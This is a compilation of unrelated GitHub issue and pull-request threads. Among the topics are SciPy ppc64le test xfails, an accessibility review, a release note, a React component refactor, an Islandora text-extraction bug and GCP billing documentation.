Yes, there's a clear directive above that the purpose of this PR is to xfail currently-failing tests on ppc64le [...] Experts in particular sub-areas of SciPy can then address ppc64le failures themselves

I wish you had said that when you pinged me. I assumed you were going to be working on it.  gh-10957 should fix this.

I can't get Azure to restart the 32-bit job through the interface -- will try / close re-open. Looks like an unrelated connection issue.
This should otherwise be ready to go, I think.

@andyfaff Does this look ok now per your directive to xfail the problem tests?

This looks good to me now. Were issues opened for the ppc64le xfails?

Were issues opened for the ppc64le xfails?

Some of them probably don't have issues--I suppose that might be helpful.

All green (except unrelated Appveyor flake failure), so merged. Thanks @tylerjereddy, all.
@tylerjereddy could you follow up with bumping test precision and removing xfails where that's easy, and open issues for the remaining problems?

I was looking at this and recognized some of the UT fails from the set of patches that Anaconda has in their scipy recipe. Perhaps some of these changes just need to be pushed upstream. I've not looked through them yet for proper fixes, but I'll be looking at them now.
https://github.com/AnacondaRecipes/scipy-feedstock/blob/master/recipe/meta.yaml

This may still be helpful.


Users irrespective of disabilities, situations and technologies need to be able to access and go through the service

Accessibility review of the whole prototype

@irinapencheva Do you want to arrange an accessibility review with the accessibility team at GDS? Richard Morton or Alistair Duggin are who you want to contact.

@sanjaypoyzer - thanks Sanjay. Let's have a chat tomorrow as @petegale is also planning to do a review of our UR findings related to accessibility, so best to align to it

This is currently in the calendar for Monday 3rd, 4-5pm. @petegale wasn't on the invite list so I've invited him as per @irinapencheva comment above!
https://calendar.google.com/calendar/render?tab=mc#eventpage_6|eid-NTZtdDJmcjR1ajVlc3UzczJzbGlmZW5jZzRfMjAxNzA3MDNUMTUwMDAwWiBsaXp6aWUuYnJ1Y2VAZGlnaXRhbC5jYWJpbmV0LW9mZmljZS5nb3YudWs-0-0-


chore(main): release 1.11.15

:robot: I have created a release beep boop
1.11.15 (2023-07-19)
Bug Fixes

general cleanup (d49105b)
remove unused build step for eslint shared package (d426299)
update slack notifier to use shared types (cd9b17b)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/devoteam-se/devolunch/releases/tag/v1.11.15 :sunflower:


Add functionality to change the color of the copied text

color of the copied text should be changed when color is selected from the drop box.

now the user can add color to the copied text.


RAR5 Is not supported

Request you updated code to support RAR5

This class finally decided to sleep and will work in May.


refactor: stack container

📄 What I've done
refactored StackContainer.tsx
I thought that stack container was too strongly combined with its domain, even if it doesn't have to be.
so I changed its name into HoverCard, and removed inner logics.
It seems it became more flexible to changes, more testable and re-usable.
⛱ Major Changes

removed StackContainer.tsx
created HoverCard.tsx
removed inline styles

🙋 Review Points

there were two ways to use children. which would be better?

use children inside tag

  <HoverCard>
    {children}
  </HoverCard>

pass children as props

  <HoverCard
    children={<Component />}
  />

When deciding between using children inside tags or passing them as props in the context of a React component, both methods have their merits.
Using children directly within the component tags is the more common and intuitive approach. It allows nesting multiple components and content with ease. However, it can be slightly more verbose as {children} needs to be included.
On the other hand, passing children as props is a concise option, particularly useful when dealing with a single child component. This approach, though less common, offers brevity.
In general, the first approach aligns better with React's convention and offers more flexibility for complex hierarchies. But, if our case is simple and you prioritize a shorter syntax, the second approach might suit our needs.
😄 However, I think it's important to maintain uniformity and consistency of code across the entire codebase.
I suspect that in complex components, the first approach will be used quite often, so why not use the more common and intuitive approach of placing children directly inside component tags as the first approach?
Since we're refactoring now, I think it would be good to think about it in terms of keeping the code consistent.


Combine windows/linux appveyor builds in single file

Testing combined appveyor builds.

Linux webhook has been disabled.


Update .jshintrc

I always get this error:
Error: Config values to remove in 3.0:
The esnext option is enabled by default.

@sajt I think you should replace "esnext": true by "esversion": 6. See ember-cli/ember-cli#5891

Closing, this problem has been fixed by #120


"Extract Text from Image or PDF" not working

I installed a fresh instance of Islandora using isle-dc, but cannot get text extraction to work.  I'm new to Islandora (but familiar with Drupal 8 and docker).  I watched the Paged Content webinar from last year and checked the docs, so that's what I'm going on.
What I tried:

created a new repository item using Model "Digital Document".  Save.
Go to Media and use "Add Media", select "File".  Upload a PDF.  Check "Original File".  Save.
Check the Media tab.  It shows mime type "application/pdf" for the file I uploaded.  It generates a thumbnail.  However no "Extracted Text" derivative shows up.
Ran cron manually, in case this job is queued.  Still no Extracted Text derivative.
Checked under Structure -> Context.  Found a rule for "PDF Derivatives" which should have been triggered based on "Digital Document" and Media "Original File"
No clues in Reports -> Recent Log Messages
all containers are up according to docker-compose ps
my understanding is that hypercube is responsible for extracting text.  docker-compose logs --tail=1000 hypercube shows no new output when I upload media.  The last line is hypercube_1   | [07-Jun-2021 20:25:47] NOTICE: ready to handle connections.

I also tried creating Paged Content with a child of model Page and uploaded a JPG media file (containing some text).  According to the rules in Context, I expected the "Extract Text" action would be triggered in this scenario, but I saw no evidence.  No Edited Text derivative was created.
I would appreciate any clues to help get this working.

Same here, I installed the demo app with the default config, and uploaded a tiff file for testing. no extracted text was created.
Checked the ActiveMQ panel, there was no consumer connecting to the queue "islandora-connector-ocr" and "islandora-indexing-fcrepo-file-delete".

@jasonhildebrand @terrywmc An issue re routing requests to hypercube was recently fixed, see https://github.com/Islandora-Devops/isle-buildkit/pull/152

@kayakr Thanks for the heads-up.  Working on a different project right now but I will re-test when I am able.

After bumping the version in my .env file to the latest version (1.0.0-alpha-10) and restarting (pulling) containers, I can confirm that the extracted text derivative is now being created as expected.
Thanks for all involved for tracking down and resolving this issue.


Add information on enabling billing for the GCP project

Since we've encountered issues on projects that did not have billing enabled, I thought it might be beneficial for the user to know this needs to be done to test GCP deployment (although there will be no charges). Feel free to change the wording.

This also needs to be done for v0.6. Can you add it otherwise I can do it later.

Will do.


Refactor parts of main equation search

This PR greatly refactors parts of the main equation search, making it much more readable and generic.

It creates a new file SearchUtils.jl to hold functions for code snippets used throughout the main search loop.
It moves the baseline loss to Dataset, rather than needing to pass a separate baseline loss to functions. However, this requires one to make the dataset object mutable, so that the equation search can set the baseline loss at runtime.
Moves the adaptive parsimony into a RunningSearchStatistics struct inside a new file AdaptiveParsimony.jl
Moves all early stop code into functions inside SearchUtils.jl.

Tests:

[x] Smoke test with same random seed: should give exactly the same result.
[ ] Distributed multi-node test. Nothing should break; should have good performance.